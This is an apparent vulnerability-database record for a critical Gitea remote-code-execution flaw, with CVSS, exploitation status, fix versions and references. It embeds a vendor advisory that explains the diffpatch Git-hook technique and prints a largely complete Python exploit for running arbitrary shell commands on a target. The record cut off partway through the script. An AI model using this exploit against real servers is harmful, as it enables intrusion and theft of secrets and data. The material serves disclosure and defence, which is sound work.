{"id":"CVE-2026-60004","aliases":["ALPINE-CVE-2026-60004","BIT-gitea-2026-60004","EUVD-2026-66708","GHSA-rcr6-4jqh-j84m","GO-2026-6433","SUSE-SU-2026:23855-1","SUSE-SU-2026:23863-1","openSUSE-SU-2026:21897-1"],"status":"published","title":"Gitea: Remote Code Execution via diffpatch Git Hook Installation","description":"Gitea before 1.27.1 allows remote code execution via the diffpatch API through Git hook installation.","severity":{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.23988,"percentile":0.97856,"model":"v2026.06.15"},"facts":{"in_kev":true,"known_exploited":true,"public_exploit":true,"fix_available":true},"cwes":["CWE-94"],"published":"2026-08-26T19:45:00Z","modified":"2026-11-03T06:33:05Z","kev":{"date_added":"2026-08-25","due_date":"2026-08-28","required_action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","known_ransomware_use":"Unknown"},"exploitation":[{"source":"euvd","since":"2026-08-25"},{"source":"kev","since":"2026-08-25"}],"exploits":[{"source":"pocgithub","id":"HORKimhab/CVE-2026-60004","title":"HORKimhab/CVE-2026-60004","date":"2026-07-29","url":"https://github.com/HORKimhab/CVE-2026-60004"},{"source":"pocgithub","id":"EQSTLab/CVE-2026-60004","title":"EQSTLab/CVE-2026-60004","date":"2026-07-30","url":"https://github.com/EQSTLab/CVE-2026-60004"},{"source":"pocgithub","id":"ashrafzaryouh/CVE-2026-60004","title":"ashrafzaryouh/CVE-2026-60004","date":"2026-07-30","url":"https://github.com/ashrafzaryouh/CVE-2026-60004"},{"source":"pocgithub","id":"imbas007/CVE-2026-60004-POC","title":"imbas007/CVE-2026-60004-POC","date":"2026-08-03","url":"https://github.com/imbas007/CVE-2026-60004-POC"},{"source":"pocgithub","id":"shinthink/CVE-2026-60004","title":"shinthink/CVE-2026-60004","date":"2026-08-03","url":"https://github.com/shinthink/CVE-2026-60004"},{"source":"pocgithub","id":"HackSpeak/CVE-2026-60004","title":"HackSpeak/CVE-2026-60004","date":"2026-08-04","url":"https://github.com/HackSpeak/CVE-2026-60004"},{"source":"pocgithub","id":"Sachinart/CVE-2026-60004-gitea-0day","title":"Sachinart/CVE-2026-60004-gitea-0day","date":"2026-08-04","url":"https://github.com/Sachinart/CVE-2026-60004-gitea-0day"},{"source":"pocgithub","id":"gagaltotal/CVE-2026-60004-poc-gitea","title":"gagaltotal/CVE-2026-60004-poc-gitea","date":"2026-08-08","url":"https://github.com/gagaltotal/CVE-2026-60004-poc-gitea"},{"source":"pocgithub","id":"yym8538/CVE-2026-60004","title":"yym8538/CVE-2026-60004","date":"2026-08-21","url":"https://github.com/yym8538/CVE-2026-60004"},{"source":"pocgithub","id":"fevar54/cve-2026-60004","title":"fevar54/cve-2026-60004","date":"2026-08-25","url":"https://github.com/fevar54/cve-2026-60004"},{"source":"pocgithub","id":"erberkan/CVE-2026-60004-PoC","title":"erberkan/CVE-2026-60004-PoC","date":"2026-09-14","url":"https://github.com/erberkan/CVE-2026-60004-PoC"},{"source":"pocgithub","id":"basesixtythree/B63-POC-CVE-2026-60004","title":"basesixtythree/B63-POC-CVE-2026-60004","date":"2026-11-01","url":"https://github.com/basesixtythree/B63-POC-CVE-2026-60004"},{"source":"nuclei","id":"CVE-2026-60004","title":"Gitea \u003c= 1.27.0 - Pre-Auth Remote Code Execution","type":"detection template","url":"https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-60004.yaml"}],"fixes":[{"ecosystem":"Go","package":"gitea.dev","fixed_in":["1.27.1"],"sources":["ghsa","osv"]},{"ecosystem":"Alpine:v3.24","package":"forgejo","fixed_in":["15.0.6-r0"],"sources":["osv"]},{"ecosystem":"Bitnami","package":"gitea","fixed_in":["1.27.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"gitea.dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.17.0"},{"fixed":"1.27.1"}]}]},{"source":"osv","ecosystem":"Alpine:v3.24","package":"forgejo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"15.0.6-r0"}]}]},{"source":"osv","ecosystem":"Bitnami","package":"gitea","ranges":[{"type":"SEMVER","events":[{"introduced":"1.17.0"},{"fixed":"1.27.1"}]}]},{"source":"osv","ecosystem":"Go","package":"gitea.dev","ranges":[{"type":"SEMVER","events":[{"introduced":"1.17.0"},{"fixed":"1.27.1"}]}]},{"source":"osv","ecosystem":"Go","package":"code.gitea.io/gitea","ranges":[{"type":"SEMVER","events":[{"introduced":"1.17.0"}]}]},{"source":"osv","ecosystem":"Go","package":"gitea.dev","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.27.1"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260916T180043-160000.1.1"}]}],"bundled":91},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260916T180043-160000.1.1"}]}],"bundled":91},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260916T180043-160000.1.1"}]}],"bundled":91},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260916T180043-160000.1.1"}]}],"bundled":91},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260916T180043-160000.1.1"}]}],"bundled":91}],"products":[{"vendor":"gitea","product":"gitea"}],"references":[{"url":"https://blog.gitea.com/release-of-1.27.1/","tags":["Release Notes","article"]},{"url":"https://github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84m","tags":["Exploit","Vendor Advisory","advisory","web"]},{"url":"https://www.runzero.com/blog/gitea/","tags":["Third Party Advisory","advisory","article"]},{"url":"https://github.com/0xBlackash/CVE-2026-60004","tags":["Exploit","Mitigation","Third Party Advisory","advisory","package","web"]},{"url":"https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-60004","tags":["government-resource","US Government Resource","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-60004","tags":["web","advisory"]},{"url":"https://github.com/go-gitea/gitea/pull/38637","tags":["web"]},{"url":"https://github.com/go-gitea/gitea/pull/38638","tags":["web"]},{"url":"https://github.com/go-gitea/gitea/commit/470d34b1de87d901bd9135564d5ee18c0d339e82","tags":["web"]},{"url":"https://github.com/go-gitea/gitea/commit/d7bc52beeadff4be5f5690de4d5de42abd10affe","tags":["web"]},{"url":"https://blog.gitea.com/release-of-1.27.1","tags":["web"]},{"url":"https://github.com/go-gitea/gitea/releases/tag/v1.27.1","tags":["web"]},{"url":"https://www.runzero.com/blog/gitea","tags":["web"]},{"url":"https://github.com/advisories/GHSA-rcr6-4jqh-j84m"},{"url":"https://security.alpinelinux.org/vuln/CVE-2026-60004","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/60xxx/CVE-2026-60004.json","tags":["advisory"]},{"url":"https://github.com/go-gitea/gitea","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202623855-1/","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2025-24978","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-24979","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-58363","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-11720","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25782","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-26292","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-27660","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-27779","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-27780","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53495","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56665","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56666","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56668","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56743","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59157","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59161","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59162","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59172","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59185","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59832","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59834","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-60004","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-61625","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65959","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67445","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67446","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-68584","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-68585","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-68586","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-68587","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-69083","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-69084","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-69086","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71493","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71494","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72789","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72790","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72792","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72793","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72794","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72795","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72796","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72797","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72798","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72799","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72800","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72801","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72802","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72803","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72804","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72805","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72806","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72807","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72808","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72809","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72810","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72811","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72812","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72920","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-72921","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73087","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73232","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73292","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73293","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73294","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73667","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73840","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73841","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73842","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73843","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-75602","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76081","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-79921","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-84303","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-84304","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-84445","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88004","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88007","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88008","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88009","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88011","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88012","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88013","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88014","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88015","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88016","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88017","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88018","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88044","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88045","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-88046","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202623863-1/","tags":["advisory"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-60004","description":"Gitea before 1.27.1 allows remote code execution via the diffpatch API through Git hook installation.","status":"published","published":"2026-08-26T19:45:00Z","modified":"2026-09-08T18:03:21.873Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T13:49:20.39253Z"}],"euvd":[{"id":"EUVD-2026-66708","description":"Gitea before 1.27.1 allows remote code execution via the diffpatch API through Git hook installation.","status":"published","published":"2026-08-26T19:45:00Z","modified":"2026-09-08T18:03:21Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"exploited_since":"2026-08-25","updated_at":"2026-11-02T17:28:28.557436Z"}],"ghsa":[{"id":"GHSA-rcr6-4jqh-j84m","title":"Gitea: Remote Code Execution via diffpatch Git Hook Installation","description":"### Summary\n\nGitea's `diffpatch` endpoint can be abused to install and execute a Git hook from repository-controlled content.\n\nAn attacker with ordinary write access to a repository can execute arbitrary shell commands as the Gitea OS user. With default open registration, an unauthenticated visitor can obtain the required write access by registering an account and creating a repository.\n\n### Details\n\n`services/repository/files/patch.go` applies attacker-controlled patches in a shared bare temporary clone:\n\n```go\ncmdApply := gitcmd.NewCommand(\"apply\", \"--index\", \"--recount\", \"--cached\", \"--binary\")\nif git.DefaultFeatures().CheckVersionAtLeast(\"2.32\") {\n    cmdApply.AddArguments(\"-3\")\n}\n````\n\nSubmitting the same patch twice creates an add/add collision. Git's three-way fallback checks the indexed path out even though the operation is performed with `--cached`.\n\nIn a bare clone, the repository root is `$GIT_DIR`. As a result, an executable entry named:\n\n```text\nhooks/post-index-change\n```\n\nbecomes a live Git hook.\n\nGit invokes the hook while writing the index, allowing repository-controlled content to execute arbitrary commands as the Gitea service account.\n\nThe hook's return value is not propagated to the `diffpatch` response.\n\nThe attached PoC stores command output in Git objects and creates a branch containing the result, so no outbound connection is required. The result is fetched through authenticated smart HTTP.\n\n### PoC\n\nThe supplied `gitea_diffpatch_rce_poc.py` uses an existing Gitea account. Run it against a test instance where the account can create a repository.\n\nSet the account password:\n\n```bash\nexport GITEA_PASSWORD='account-password'\n```\n\nExecute a command through the `diffpatch` chain:\n\n```bash\npython3 ./gitea_diffpatch_rce_poc.py \\\n  https://gitea.example \\\n  pocuser \\\n  'id; uname -srm; pwd'\n```\n\nThe script:\n\n* Creates an initialized private repository.\n* Submits the same executable-hook patch twice.\n* Fetches the result branch.\n* Prints the command's combined stdout, stderr, and exit status.\n* Prints the evidence repository, ref, and commit IDs to stderr.\n\nExpected output resembles:\n\n```text\nuid=1000(git) gid=1000(git) groups=1000(git)\nLinux ...\n/data/gitea/tmp/...\n\n[exit-status=0]\n```\n\nThe trigger requires:\n\n* Git 2.32 or newer.\n* An enabled `diffpatch` route.\n* A writable and executable temporary filesystem.\n\nOpen registration is required only for the no-prior-credentials attack path.\n\n### Impact\n\nThis is remote command execution as the Gitea service account (`CWE-94`).\n\nDepending on deployment isolation and the privileges of the Gitea OS user, successful exploitation may expose:\n\n* `app.ini` and Gitea application secrets.\n* Process environment secrets.\n* Mounted repositories.\n* Database credentials and database contents.\n* OAuth and integration credentials.\n* Other internal or externally reachable services.\n\nWith open registration enabled, the attack can be performed by an unauthenticated visitor after registering a normal account and creating a repository.\n\n\n\u003cimg width=\"928\" height=\"687\" alt=\"Screenshot 2026-07-25 at 14 45 44\" src=\"https://github.com/user-attachments/assets/e7ce9fe7-bcab-4539-82fc-14c3856bda1c\" /\u003e\n\n\n\n\n```python\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nGitea RCE PoC – authorized testing only.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport base64\nimport getpass\nimport hashlib\nimport json\nimport os\nfrom pathlib import Path\n\nimport secrets\nimport shlex\nimport shutil\nimport subprocess\nimport sys\nimport tempfile\n\nfrom typing import Any\nimport urllib.error\nimport urllib.parse\nimport urllib.request\n\n\nTIMEOUT    = 30.0\nUSER_AGENT = \"gitea-rce-poc/2.0\"\n\n_RST  = \"\\033[0m\"\n_DIM  = \"\\033[2m\"\n_GRN  = \"\\033[38;5;46m\"     # bright green\n_RED  = \"\\033[31m\"           # red for errors\n\ndef _g(t: str) -\u003e str: return f\"{_GRN}{t}{_RST}\"\ndef _r(t: str) -\u003e str: return f\"{_RED}{t}{_RST}\"\ndef _d(t: str) -\u003e str: return f\"{_DIM}{t}{_RST}\"\n\ndef log_star(msg: str) -\u003e None: print(f\"{_g('[*]')} {_d(msg)}\")\ndef log_ok  (msg: str) -\u003e None: print(f\"{_g('[+]')} {_g(msg)}\")\ndef log_err (msg: str) -\u003e None: print(f\"{_r('[-]')} {_r(msg)}\")\n\n\n_SEP = \"  \" + \"═\" * 44\nBANNER = f\"{_SEP}\\n  GITEA  REMOTE CODE EXECUTION  POC\\n{_SEP}\"\n\ndef print_banner(url: str, version: str | None = None,\n                 command: str | None = None) -\u003e None:\n    print()\n    for line in BANNER.splitlines():\n        print(_g(line))\n    print()\n    ver = version or \"unknown\"\n    print(_g(\"  \" + \"-\" * 54))\n    print(_g(f\"  Target        : {url}\"))\n    print(_g(f\"  Version       : {ver}\"))\n    if command:\n        print(_g(f\"  Command       : {command}\"))\n    print(_g(\"  \" + \"-\" * 54))\n    print()\n\nclass PocError(RuntimeError):\n    pass\n\nclass GiteaClient:\n    def __init__(self, base_url: str, username: str, password: str) -\u003e None:\n        parsed = urllib.parse.urlsplit(base_url)\n        if parsed.scheme not in {\"http\", \"https\"} or not parsed.netloc:\n            raise PocError(\"URL must be an absolute http:// or https:// URL\")\n        if parsed.query or parsed.fragment:\n            raise PocError(\"URL must not contain a query string or fragment\")\n        self.base_url = base_url.rstrip(\"/\")\n        self.username = username\n        self.password = password\n        encoded = base64.b64encode(\n            f\"{username}:{password}\".encode()\n        ).decode(\"ascii\")\n        self.authorization = f\"Basic {encoded}\"\n\n    def api(\n        self,\n        method: str,\n        path: str,\n        payload: dict[str, Any] | None = None,\n    ) -\u003e tuple[int, Any]:\n        data = None\n        if payload is not None:\n            data = json.dumps(payload, separators=(\",\", \":\")).encode()\n        req = urllib.request.Request(\n            self.base_url + path,\n            data=data,\n            method=method,\n            headers={\n                \"Accept\": \"application/json\",\n                \"Authorization\": self.authorization,\n                \"Content-Type\": \"application/json\",\n                \"User-Agent\": USER_AGENT,\n            },\n        )\n        try:\n            with urllib.request.urlopen(req, timeout=TIMEOUT) as r:\n                raw = r.read()\n                return r.status, json.loads(raw) if raw else None\n        except urllib.error.HTTPError as exc:\n            body = exc.read().decode(\"utf-8\", errors=\"replace\")[:2_000]\n            raise PocError(f\"{method} {path} → HTTP {exc.code}: {body}\") from exc\n        except urllib.error.URLError as exc:\n            raise PocError(f\"{method} {path} failed: {exc.reason}\") from exc\n        except json.JSONDecodeError:\n            raise PocError(f\"{method} {path} returned invalid JSON\")\n\ndef blob_oid(content: bytes) -\u003e str:\n    return hashlib.sha1(\n        f\"blob {len(content)}\\0\".encode(\"ascii\") + content\n    ).hexdigest()\n\ndef build_hook(command: str, leak_ref: str) -\u003e bytes:\n    qcmd = shlex.quote(command)\n    qref = shlex.quote(f\"refs/heads/{leak_ref}\")\n    return (\n        \"#!/bin/sh\\n\"\n        'git_dir=$(git rev-parse --absolute-git-dir) || exit 1\\n'\n        'origin_objects=$(sed -n \"1p\" \"$git_dir/objects/info/alternates\") || exit 2\\n'\n        'case \"$origin_objects\" in\\n'\n        '  /*) ;;\\n'\n        '  *) origin_objects=\"$git_dir/objects/$origin_objects\" ;;\\n'\n        \"esac\\n\"\n        'origin_git=${origin_objects%/objects}\\n'\n        '[ \"$origin_git\" != \"$origin_objects\" ] || exit 3\\n'\n        f\"output_blob=$({{ /bin/sh -c {qcmd}; \"\n        'command_status=$?; printf \"\\\\n[exit-status=%s]\\\\n\" \"$command_status\"; } 2\u003e\u00261 | '\n        'git --git-dir=\"$origin_git\" hash-object -w --stdin) || exit 4\\n'\n        'tree=$(printf \"100644 blob %s\\\\toutput\\\\n\" \"$output_blob\" | '\n        'git --git-dir=\"$origin_git\" mktree) || exit 5\\n'\n        'commit=$(printf \"command output\\\\n\" | '\n        \"GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid \"\n        \"GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid \"\n        'git --git-dir=\"$origin_git\" commit-tree \"$tree\") || exit 6\\n'\n        f'git --git-dir=\"$origin_git\" update-ref {qref} \"$commit\" || exit 7\\n'\n        \"exit 0\\n\"\n    ).encode()\n\ndef build_patch(hook: bytes) -\u003e str:\n    lc  = hook.count(b\"\\n\")\n    hdr = (\n        \"diff --git a/hooks/post-index-change b/hooks/post-index-change\\n\"\n        \"new file mode 100755\\n\"\n        f\"index {'0'*40}..{blob_oid(hook)}\\n\"\n        \"--- /dev/null\\n\"\n        \"+++ b/hooks/post-index-change\\n\"\n        f\"@@ -0,0 +1,{lc} @@\\n\"\n    ).encode()\n    return (hdr + b\"\".join(b\"+\" + l for l in hook.splitlines(keepends=True))).decode()\n\ndef run_git(git: str, arguments: list[str], env: dict[str, str]) -\u003e bytes:\n    try:\n        result = subprocess.run(\n            [git, *arguments], env=env,\n            stdin=subprocess.DEVNULL,\n            stdout=subprocess.PIPE, stderr=subprocess.PIPE,\n            check=False, timeout=TIMEOUT,\n        )\n    except subprocess.TimeoutExpired as exc:\n        raise PocError(f\"git timed out after {TIMEOUT:g}s\") from exc\n    except OSError as exc:\n        raise PocError(f\"could not run git: {exc}\") from exc\n    if result.returncode != 0:\n        err = result.stderr.decode(\"utf-8\", errors=\"replace\")[:2_000].strip()\n        raise PocError(f\"git exit {result.returncode}: {err}\")\n    return result.stdout\n\ndef fetch_output(git: str, client: GiteaClient,\n                 owner: str, repo: str, leak_ref: str) -\u003e bytes:\n    remote = (\n        f\"{client.base_url}/\"\n        f\"{urllib.parse.quote(owner, safe='')}/\"\n        f\"{urllib.parse.quote(repo, safe='')}.git\"\n    )\n    with tempfile.TemporaryDirectory(prefix=\"gitea-poc-\") as tmp:\n        bare      = Path(tmp) / \"fetch.git\"\n        auth_cfg  = Path(tmp) / \"auth.config\"\n        fd = os.open(auth_cfg, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600)\n        with os.fdopen(fd, \"w\", encoding=\"utf-8\") as f:\n            f.write(f\"[http]\\n\\textraHeader = Authorization: {client.authorization}\\n\")\n        env = {**os.environ, \"GIT_TERMINAL_PROMPT\": \"0\"}\n        run_git(git, [\"init\", \"--bare\", \"--quiet\", str(bare)], env)\n        run_git(git, [\n            \"-C\", str(bare), \"-c\", f\"include.path={auth_cfg}\",\n            \"fetch\", \"--quiet\", \"--no-tags\",\n            remote, f\"refs/heads/{leak_ref}\",\n        ], env)\n        return run_git(git, [\"-C\", str(bare), \"show\", \"FETCH_HEAD:output\"], env)\n\ndef split_output(raw: bytes) -\u003e tuple[str, int | None]:\n    text  = raw.decode(\"utf-8\", errors=\"replace\")\n    lines = text.splitlines()\n    status: int | None = None\n    if lines:\n        t = lines[-1].strip()\n        if t.startswith(\"[exit-status=\") and t.endswith(\"]\"):\n            try:    status = int(t[len(\"[exit-status=\"):-1])\n            except ValueError: pass\n            else:   lines.pop()\n    return \"\\n\".join(lines).rstrip(\"\\n\"), status\n\n\ndef parse_args() -\u003e argparse.Namespace:\n    p = argparse.ArgumentParser(description=\"Gitea RCE PoC\")\n    p.add_argument(\"url\",      help=\"Gitea base URL\")\n    p.add_argument(\"username\", help=\"existing Gitea username\")\n    p.add_argument(\"command\",  help=\"shell command to execute on target\")\n    return p.parse_args()\n\n\ndef main() -\u003e int:\n    args = parse_args()\n    if \"\\0\" in args.command:\n        raise PocError(\"command must not contain a NUL character\")\n\n    password = os.environ.get(\"GITEA_PASSWORD\") or getpass.getpass(\n        _g(\"[?]\") + \" password: \"\n    )\n    if not password:\n        raise PocError(\"password must not be empty\")\n\n    git = shutil.which(\"git\")\n    if git is None:\n        raise PocError(\"git executable not found in PATH\")\n\n    client = GiteaClient(args.url, args.username, password)\n\n    # version probe (pre-banner)\n    log_star(\"probing target...\")\n    version: str | None = None\n    try:\n        r = urllib.request.Request(\n            client.base_url + \"/api/v1/version\",\n            headers={\"Accept\": \"application/json\", \"User-Agent\": USER_AGENT},\n        )\n        with urllib.request.urlopen(r, timeout=TIMEOUT) as resp:\n            version = json.loads(resp.read()).get(\"version\", \"unknown\")\n    except Exception:\n        version = \"unknown\"\n    print_banner(client.base_url, version, args.command)\n\n    log_star(f\"target={client.base_url}  user={args.username}  cmd={args.command}\")\n    print()\n\n    # step 1 – authenticate\n    log_star(\"authenticating...\")\n    sc, acct = client.api(\"GET\", \"/api/v1/user\")\n    if sc != 200 or not isinstance(acct, dict):\n        log_err(\"authentication failed\"); raise PocError(\"auth failed\")\n    owner = acct.get(\"login\")\n    if not isinstance(owner, str) or not owner:\n        log_err(\"no login in response\"); raise PocError(\"no login\")\n    log_ok(f\"logged in as {owner}  ({version})\")\n\n    # step 2 – create repo\n    unique   = secrets.token_hex(5)\n    repo     = f\"test-repo-{unique}\"\n    leak_ref = f\"output-{unique}\"\n    log_star(\"creating repository...\")\n    sc, _ = client.api(\"POST\", \"/api/v1/user/repos\", {\n        \"name\": repo, \"private\": True,\n        \"auto_init\": True, \"default_branch\": \"main\",\n        \"object_format_name\": \"sha1\",\n    })\n    if sc != 201:\n        log_err(\"repo creation failed\"); raise PocError(\"repo creation failed\")\n    log_ok(f\"created repo {owner}/{repo}\")\n\n    # steps 3–4 – deliver payloads\n    body = {\n        \"content\": build_patch(build_hook(args.command, leak_ref)),\n        \"message\": \"initial commit\",\n        \"branch\": \"main\", \"new_branch\": \"main\",\n    }\n    ep = (\n        f\"/api/v1/repos/{urllib.parse.quote(owner, safe='')}/\"\n        f\"{urllib.parse.quote(repo, safe='')}/diffpatch\"\n    )\n    commits: list[str] = []\n    for cycle in (1, 2):\n        log_star(f\"delivering payload {cycle}/2...\")\n        sc, resp = client.api(\"POST\", ep, body)\n        try:\n            commit = resp[\"commit\"][\"sha\"]\n        except (KeyError, TypeError) as exc:\n            log_err(f\"payload {cycle}/2 rejected\")\n            raise PocError(f\"cycle {cycle} no commit\") from exc\n        if sc != 201:\n            log_err(f\"payload {cycle}/2 failed\")\n            raise PocError(f\"cycle {cycle} failed\")\n        commits.append(commit)\n        log_ok(f\"payload {cycle}/2 accepted  commit={commit[:16]}\")\n\n    # step 5 – retrieve output\n    log_star(\"retrieving output...\")\n    output = fetch_output(git, client, owner, repo, leak_ref)\n    log_ok(\"operation complete\")\n\n    # command output\n    cmd_out, exit_status = split_output(output)\n    print()\n    